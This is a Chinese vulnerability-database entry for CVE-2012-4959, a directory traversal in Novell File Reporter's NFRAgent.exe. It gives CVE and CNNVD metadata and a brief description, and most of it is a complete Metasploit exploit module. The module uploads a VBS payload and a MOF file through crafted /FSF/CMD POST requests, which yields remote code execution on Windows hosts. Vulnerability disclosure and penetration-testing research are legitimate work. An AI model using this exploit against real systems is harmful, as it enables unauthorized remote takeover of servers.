Novell File Reporter NFRAgent.exe 路径遍历漏洞

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漏洞ID 1121418 漏洞类型 路径遍历
发布时间 2012-11-19 更新时间 2012-11-20
CVE编号 CVE-2012-4959 CNNVD-ID CNNVD-201211-347
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/22787
https://cxsecurity.com/issue/WLB-2012120096
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201211-347
|漏洞详情
NovellFileReporter可提供现有文件信息、最后访问数据时间,文件的副本信息及文件位置等网络服务器上存储的无数文件信息并可规划存储空间。NovellFileReporter1.0.2版本的NFRAgent.exe中存在目录遍历漏洞。通过一个在FSFUI记录的FILE元素中带有‘..’的130/FSF/CMD请求,远程攻击者可利用该漏洞上传并执行任意文件。
|漏洞EXP
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NFR Agent FSFUI Record File Upload RCE',
			'Description'    => %q{
				NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
				arbitrary files via a directory traversal while handling requests to /FSF/CMD with
				FSFUI records with UICMD 130. This module has been tested successfully against NFR
				Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'juan vazquez'
				],
			'References'     =>
				[
					[ 'CVE', 'CVE-2012-4959'],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500
				},
			'DefaultOptions' =>
				{
					'WfsDelay' => 20
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#Windows before Vista
					[ 'Automatic', { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 16 2012'))

		register_options(
			[
				Opt::RPORT(3037),
				OptBool.new('SSL', [true, 'Use SSL', true]),
				OptInt.new('DEPTH', [true, 'Traversal depth', 6])
			], self.class)

	end

	def on_new_session(client)

		return if not @var_mof_name
		return if not @var_vbs_name

		if client.type != "meterpreter"
			print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
			print_error("The following files must be removed manually:")
			print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
			print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
			return # That's it
		end

		# stdapi must be loaded before we can use fs.file
		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

		begin
			print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
			windir = client.fs.file.expand_path("%WINDIR%")
			client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
			print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
			cmd = "#{windir}\\system32\\attrib.exe -r " +
				"#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
			client.sys.process.execute(cmd, nil, {'Hidden' => true })
			client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
		rescue ::Exception => e
			print_error("Exception: #{e.inspect}")
		end

	end

	def peer
		"#{rhost}:#{rport}"
	end

	def exploit

		# In order to save binary data to the file system the payload is written to a .vbs
		# file and execute it from there.
		@var_mof_name = rand_text_alpha(rand(5)+5)
		@var_vbs_name = rand_text_alpha(rand(5)+5)

		print_status("Encoding payload into VBS...")
		payload = generate_payload_exe
		vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

		print_status("Generating VBS file...")
		mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")

		print_status("#{peer} - Uploading the VBS file")
		worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
		unless worked
			fail_with(Failure::NotVulnerable, "Failed to upload the file")
		end

		print_status("#{peer} - Uploading the MOF file")
		upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
	end

	def upload_file(filename, content)
		traversal = "..\\" * datastore['DEPTH']
		traversal << filename

		record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
		md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
		message = md5 + record

		res = send_request_cgi(
			{
				'uri'     => '/FSF/CMD',
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "text/xml",
				'data'    => message,
			})

		if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
			print_warning("#{peer} - File successfully uploaded: #{filename}")
		else
			print_error("#{peer} - Failed to upload the file")
			return false
		end

		true
	end

end
|参考资料

来源:US-CERTVulnerabilityNote:VU#273371
名称:VU#273371
链接:http://www.kb.cert.org/vuls/id/273371
来源:community.rapid7.com
链接:https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959